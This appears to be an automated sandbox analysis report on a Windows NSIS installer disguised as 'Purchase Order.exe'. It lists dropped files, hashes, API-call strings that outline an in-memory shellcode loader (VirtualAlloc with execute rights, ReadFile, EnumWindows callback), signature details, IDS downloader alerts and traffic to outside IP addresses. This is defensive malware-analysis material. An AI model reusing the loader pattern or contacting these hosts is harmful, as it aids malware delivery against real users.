SHA-256:	F917E97748DEE607ABCC405FA70D7614B2F96675914B64AE7FD6AC299BCF220B
SHA-512:	E2DE646C75526DDA1B22AEBFF7B7991DEC89D351012FA21D925046EF5DD78ABD2D999ACAAE7C8BA33747480D3C921CDAB05D98839AF3A552063070A3B4C48496
Malicious:	false
Preview:	.................i....................9........T............................................................g....................................................................6...................?..............].Z.....................................................}...6..............................<....................................................:..x.............;...............P..m...h.........................................................................................................................O..............d....P...................w..........u....3.....................................................:.......^......m.................................................................................................X.............3...................................m.................................................4...L..............................................................................................G.................................1.........."..5...........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing\saddleback.jer

Download File

Process:	C:\Users\user\Desktop\Purchase Order.exe
File Type:	Matlab v4 mat-file (little endian) , numeric, rows 20224, columns 0
Category:	dropped
Size (bytes):	241857
Entropy (8bit):	1.2492742831199217
Encrypted:	false
SSDEEP:	768:kn4C0nabowYKKucVjMHtvH3Eq1Zg5c+0o4u1uLlOxRuYP9aVsVL/e3ec6Axhe7rO:zAzhHNuZla85OxXCm
MD5:	FB3375E7CB0698DF507062161A26885F
SHA1:	5E98C5E6F50A1B57B1E72B412D9632603FF954EF
SHA-256:	EB781B87F06CBBB43E36413F70A97528DFF827A3DA9575E56142324F9CF43477
SHA-512:	949FB9F863EB2EC85B84C4DB3E4EA023F1C3FC09CB79FE52B58569C616FC28F2E0D095DB535C3B80EF44CE4F75EA4752313F4F20A3E3A61E49163FCE8078B79B
Malicious:	false
Preview:	.....O..............c...>........................q....................r...................W............................................................................................................up........................r.................".............................................~...........9...............+.....................................................................................W...............Y..............................................k.....J................... ................................................R..................................................................................5...............T.........................................O..........^........x...........W.......Q......................:......H............+.................................................................6.................................7............w..........s......$...........9..................................................................*........................

C:\Users\user\AppData\Local\Temp\nsg3131.tmp

Download File

Process:	C:\Users\user\Desktop\Purchase Order.exe
File Type:	data
Category:	dropped
Size (bytes):	2649548
Entropy (8bit):	2.8014671637869224
Encrypted:	false
SSDEEP:	12288:2xtx+CW5C/76F2Eb7ZaI1NPH0H4It741MEbYs6gvBse+tJ:2xDT69FMIrHo4IeYSBse+7
MD5:	6A268A806CA217271D9D5845A9BCD10A
SHA1:	F2C419B37BE6ADEDAA5917894CA3165AA1044DFE
SHA-256:	50A230D109ABFE5F623C9526A470179E24D1B1AB1F27A5AB8CCA2FFDCDC2E506
SHA-512:	31CD499B15E5ECB4B5B95F52BE96764076F3A2A1BFE7BB78363BC2E056A33B6BECF366E475F37546BA27F039421227698F78D6556160219305164CE7199A2576
Malicious:	false
Preview:	.@......,........................0.......?.......@..........................]...{...........................................................................................................................................................................................................J...N...............j...............................................................................................................................g...........................................................................L...".......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\Purchase Order.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.7711167426271945
Encrypted:	false
SSDEEP:	192:OPtkumJX7zB22kGwfy0mtVgkCPOsX1un:/702k5qpdsXQn
MD5:	3F176D1EE13B0D7D6BD92E1C7A0B9BAE
SHA1:	FE582246792774C2C9DD15639FFA0ACA90D6FD0B
SHA-256:	FA4AB1D6F79FD677433A31ADA7806373A789D34328DA46CCB0449BBF347BD73E
SHA-512:	0A69124819B7568D0DEA4E9E85CE8FE61C7BA697C934E3A95E2DCFB9F252B1D9DA7FAF8774B6E8EFD614885507ACC94987733EBA09A2F5E7098B774DFC8524B6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Documenti di spedizione.bat.exe, Detection: malicious, Browse Filename: DHL AWB - COMMERCIAL INVOICE AND BL.exe, Detection: malicious, Browse Filename: Shipping Documents.bat.exe, Detection: malicious, Browse Filename: Oogoninia.exe, Detection: malicious, Browse Filename: Oogoninia.exe, Detection: malicious, Browse Filename: rStopfodringer.exe, Detection: malicious, Browse Filename: rStopfodringer.exe, Detection: malicious, Browse Filename: Transferencia 10-7-2024.exe, Detection: malicious, Browse Filename: Transferencia 10-7-2024.exe, Detection: malicious, Browse Filename: PEDIDO-144848.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L.....MX...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text...O........................... ..`.rdata..S....0......."..............@..@.data...h....@.......&..............@....reloc..`....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nso3940.tmp

Download File

Process:	C:\Users\user\Desktop\Purchase Order.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	74
Entropy (8bit):	3.9637832956585757
Encrypted:	false
SSDEEP:	3:sRQE1wFEt/ijNJyI3dj2+n:aQEGiwh3D
MD5:	16D513397F3C1F8334E8F3E4FC49828F
SHA1:	4EE15AFCA81CA6A13AF4E38240099B730D6931F0
SHA-256:	D3C781A1855C8A70F5ACA88D9E2C92AFFFA80541334731F62CAA9494AA8A0C36
SHA-512:	4A350B790FDD2FE957E9AB48D5969B217AB19FC7F93F3774F1121A5F140FF9A9EAAA8FA30E06A9EF40AD776E698C2E65A05323C3ADF84271DA1716E75F5183C3
Malicious:	false
Preview:	kernel32::CreateFileA(m r4 , i 0x80000000, i 0, p 0, i 4, i 0x80, i 0)i.r5

C:\Users\user\AppData\Local\Temp\nsr40E3.tmp

Download File

Process:	C:\Users\user\Desktop\Purchase Order.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	52
Entropy (8bit):	4.0914493934217315
Encrypted:	false
SSDEEP:	3:sBa99k1NoCFOn:KankVg
MD5:	5D04A35D3950677049C7A0CF17E37125
SHA1:	CAFDD49A953864F83D387774B39B2657A253470F
SHA-256:	A9493973DD293917F3EBB932AB255F8CAC40121707548DE100D5969956BB1266
SHA-512:	C7B1AFD95299C0712BDBC67F9D2714926D6EC9F71909AF615AFFC400D8D2216AB76F6AC35057088836435DE36E919507E1B25BE87B07C911083F964EB67E003B
Malicious:	false
Preview:	kernel32::SetFilePointer(i r5, i 1200 , i 0,i 0)i.r3

C:\Users\user\AppData\Local\Temp\nsr4CAD.tmp

Download File

Process:	C:\Users\user\Desktop\Purchase Order.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	56
Entropy (8bit):	4.24214984251469
Encrypted:	false
SSDEEP:	3:sAAEVvjsQmBo84n:fLUU
MD5:	02EE9971E70E48348FBAFC2C78B61E77
SHA1:	685B48797F7DB9988E407EA288DA8D7881E17D53
SHA-256:	495462FD8490DA33EC8EEE469750DCB808FA1D3782AE14255F2490CAE0398F0B
SHA-512:	97DFD8F8F46229F004E6D1753CA163C7C59ADD90E65401BD9D63CF367501C758C7374CADF5BA52866E29C5EC1261A7DC46FBFEA69370086CB6C6E6C3562EDECF
Malicious:	false
Preview:	kernel32::ReadFile(i r5, i r1, i 78139392,*i 0, i 0)i.r3

C:\Users\user\AppData\Local\Temp\nsu52C9.tmp

Download File

Process:	C:\Users\user\Desktop\Purchase Order.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	4.256564762130954
Encrypted:	false
SSDEEP:	3:DyWgLQIfLBJXmgU:mkIP25
MD5:	F15BFDEBB2DF02D02C8491BDE1B4E9BD
SHA1:	93BD46F57C3316C27CAD2605DDF81D6C0BDE9301
SHA-256:	C87F2FF45BB530577FB8856DF1760EDAF1060AE4EE2934B17FDD21B7D116F043
SHA-512:	1757ED4AE4D47D0C839511C18BE5D75796224D4A3049E2D8853650ACE2C5057C42040DE6450BF90DD4969862E9EBB420CD8A34F8DD9C970779ED2E5459E8F2F1
Malicious:	false
Preview:	user32::EnumWindows(i r1 ,i 0)

C:\Users\user\AppData\Local\Temp\nsz476C.tmp

Download File

Process:	C:\Users\user\Desktop\Purchase Order.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.50221267998362
Encrypted:	false
SSDEEP:	3:sEMBQEJkJVEjZPmLXxQoXUn:dzxvUn
MD5:	6FE7D11831BB6DE92B94F92FA19D8465
SHA1:	05969C732BF0D36D6A2083C6F255361A9B91FE1E
SHA-256:	3533514A9F566B703CB08A30BA522FB2791FC955D4D312C2270D1E7F84E06A7C
SHA-512:	BB59C7A84E25011D30ADBBD372E4CA654A3BA30C7873178ACA486F048CF440FC652469D5E24614DB16D1DED2A61F41BC4312558EC569F9E64581045D37B1563A
Malicious:	false
Preview:	kernel32::VirtualAlloc(i 0,i 78139392, i 0x3000, i 0x40)p.r1

C:\Users\user\forvredet.lnk

Download File

Process:	C:\Users\user\Desktop\Purchase Order.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:06:32 1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=0, window=hide
Category:	dropped
Size (bytes):	1338
Entropy (8bit):	3.1388229664318277
Encrypted:	false
SSDEEP:	24:8JvaRkD4/BPefDbDLqizZYpbDtPizZeixGY5HALqy:8oRkDsxy/DLqiNwDtiNlxG+AOy
MD5:	01A22D5172D526972C7FE6B2C0D14AF3
SHA1:	E4A5912ACC75558EC498FEF7B78806E23067B756
SHA-256:	6EE179E2F021482E6AB5D321D5F49D4BBDAD2955B07CE8776A47435C7DAC0C91
SHA-512:	27ADF029B5A1672C12BB72B084B634C45FE9C68FC5784F50CFD83D6123D2B85618EA811EED653A173252CDF140FE29CB8614511B4538C7075F5CE820E89E65CE
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........user..>............................................a.l.f.o.n.s.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....P.1...........Local.<............................................L.o.c.a.l.....\.1...........Microsoft.D............................................M.i.c.r.o.s.o.f.t.....V.1...........Windows.@............................................W.i.n.d.o.w.s.....\.1...........INetCache.D............................................I.N.e.t.C.a.c.h.e.....n.2...........divergentes.pin.P............................................d.i.v.e.r.g.e.n.t.e.s...p.i.n.......;...\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.I.N.e.t.C.a.c.h.e.\.d.i.v.e.r.g.e.n.t.e.s...p.i.n.Z.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.322836080474123
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Purchase Order.exe
File size:	1'055'136 bytes
MD5:	46ae79c53627f188d4c316adb7635524
SHA1:	653fc3ca8b9e79295a59428fe0842ec79060fb75
SHA256:	05ca345e803d5783617f8b14194428eb79aa486e0b239ae5656847363729a703
SHA512:	f028f09d39606821bec5b6f3a12882f3738a86094b435f7f4d3b1e4415ad5bfefbfa456b9a3bb6b976b7bee26c6363281b2cb7755943d0239ca77f8354f363fb
SSDEEP:	24576:/o8RUr/5+1TtuEoIEMMZ3l/j8Sb9uASz343NHmI8QIoG:/h+/0ltw5b84SzgNLM
TLSH:	B925F1E1B78047A6F4790932848FC6E112E0ED926F421A53137CF37D2DB32D1565BABA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.v.F......F...v...F...@...F.Rich..F.........................PE..L...5.MX.................`.........

File Icon


Icon Hash:	2f6b71f16d4c71b3

Static PE Info

General

Entrypoint:	0x4032bf
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x584DCA35 [Sun Dec 11 21:50:45 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	4f67aeda01a0484282e8c59006b0b352

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Eksamensprojekternes, O=Eksamensprojekternes, L=Langley, C=US
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	10/12/2023 11:11:56 09/12/2026 11:11:56
Subject Chain	CN=Eksamensprojekternes, O=Eksamensprojekternes, L=Langley, C=US
Version:	3
Thumbprint MD5:	B8D8FDCFD12F1EEA3A3E0AEC9165BB12
Thumbprint SHA-1:	6E269F34E944E51F28A9E30DFCC4AF2733BDB31A
Thumbprint SHA-256:	E4ADEB22ACBA33BAA854C786F54AA4FC7A969D29B36BF2B39B7CC5DBA0DA7DAF
Serial:	3DE19142D23AD82B0D16B4C609F2442CCA0A25C9

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409130h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [00407120h]
call dword ptr [004070ACh]
cmp ax, 00000006h
je 00007FA270D88083h
push ebx
call 00007FA270D8B009h
cmp eax, ebx
je 00007FA270D88079h
push 00000C00h
call eax
mov esi, 00407298h
push esi
call 00007FA270D8AF85h
push esi
call dword ptr [004070A8h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007FA270D8805Dh
push ebp
push 00000009h
call 00007FA270D8AFDCh
push 00000007h
call 00007FA270D8AFD5h
mov dword ptr [00423724h], eax
call dword ptr [00407044h]
push ebx
call dword ptr [00407288h]
mov dword ptr [004237D8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0041ECF0h
call dword ptr [00407174h]
push 004091ECh
push 00422F20h
call 00007FA270D8ABFFh
call dword ptr [004070A4h]
mov ebp, 00429000h
push eax
push ebp
call 00007FA270D8ABEDh
push ebx
call dword ptr [00407154h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7428	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x47000	0x42ba0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x100730	0x1270
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5e59	0x6000	1892c55874b94ef60ac62cf77f0ecd0e	False	0.6585693359375	data	6.424194540104456	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1246	0x1400	6389f916226544852e494114faf192ad	False	0.4271484375	data	5.0003960999706765	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x1a818	0x400	f02c8b5709d3fb8c6cc1ab777c138d8f	False	0.6455078125	data	5.211928615453691	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x24000	0x23000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x47000	0x42ba0	0x42c00	cb7fd179fd9ca3f4757b01d96679c1b0	False	0.21076559573970038	data	3.8403807556058642	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x47208	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.20773293487587655
RT_DIALOG	0x89230	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x89378	0x100	data	English	United States	0.5234375
RT_DIALOG	0x89478	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x89598	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x895f8	0x14	data	English	United States	1.1
RT_VERSION	0x89610	0x24c	data	English	United States	0.5357142857142857
RT_MANIFEST	0x89860	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	CopyFileA, Sleep, GetTickCount, CreateFileA, GetFileSize, GetModuleFileNameA, ReadFile, GetFileAttributesA, SetFileAttributesA, ExitProcess, SetEnvironmentVariableA, GetWindowsDirectoryA, GetTempPathA, GetCommandLineA, lstrlenA, GetVersion, GetCurrentProcess, GetFullPathNameA, GetDiskFreeSpaceA, GlobalUnlock, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, GetTempFileNameA, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, GetProcAddress, CloseHandle, SetCurrentDirectoryA, MoveFileA, CompareFileTime, GetShortPathNameA, SearchPathA, lstrcmpiA, SetFileTime, lstrcmpA, ExpandEnvironmentStringsA, lstrcpynA, SetErrorMode, GlobalFree, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, GetPrivateProfileStringA, FindClose, MultiByteToWideChar, FreeLibrary, MulDiv, WritePrivateProfileStringA, LoadLibraryExA, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, GlobalAlloc
USER32.dll	ScreenToClient, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, PostQuitMessage, GetWindowRect, EnableMenuItem, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, GetDC, CreateDialogParamA, SetTimer, GetDlgItem, SetWindowLongA, SetForegroundWindow, LoadImageA, IsWindow, SendMessageTimeoutA, FindWindowExA, OpenClipboard, TrackPopupMenu, AppendMenuA, EndPaint, DestroyWindow, wsprintfA, ShowWindow, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegDeleteKeyA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegEnumValueA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-21T11:30:30.432233+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49975	84.38.129.16	80	TCP
2024-10-21T11:30:35.926645+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49976	193.122.130.0	80	TCP
2024-10-21T11:30:38.155378+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49976	193.122.130.0	80	TCP
2024-10-21T11:30:38.379733+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49976	193.122.130.0	80	TCP
2024-10-21T11:30:40.036016+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49976	193.122.130.0	80	TCP
2024-10-21T11:30:40.737320+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49978	188.114.97.3	443	TCP
2024-10-21T11:30:41.457981+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49979	193.122.130.0	80	TCP
2024-10-21T11:30:42.155353+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49980	188.114.97.3	443	TCP
2024-10-21T11:30:44.895428+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49981	193.122.130.0	80	TCP
2024-10-21T11:30:49.059899+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49985	188.114.97.3	443	TCP
2024-10-21T11:30:52.448245+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49987	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 21, 2024 11:30:29.603013039 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:29.608150959 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:29.608251095 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:29.608429909 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:29.613562107 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.432154894 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.432182074 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.432193041 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.432209969 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.432223082 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.432233095 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.432265997 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.547195911 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.547225952 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.547240019 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.547250986 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.547262907 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.547333002 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.547357082 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.547408104 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.547521114 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.549887896 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.549956083 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.549967051 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.549976110 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.550065041 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.550067902 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.550152063 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.660098076 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.660125017 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.660139084 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.660284042 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.663886070 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.663897038 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.663992882 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.664005995 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.664017916 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.664030075 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.664046049 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.664136887 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.666924000 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.666992903 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.667002916 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.667012930 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.667012930 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.667124033 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.667201996 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.667218924 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.667273998 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.777440071 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.777455091 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.777466059 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.777512074 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.777544022 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.781521082 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.781534910 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.781539917 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.781548977 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.781555891 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.781616926 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.784496069 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.784521103 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.784532070 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.784590006 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.784601927 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.784614086 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.784652948 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.784694910 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.829405069 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.829420090 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.829483986 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.894627094 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.894645929 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.894659996 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.894704103 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.894740105 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.898443937 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.898458004 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.898477077 CEST	80	49975	84.38.129.16	192.168.2.5
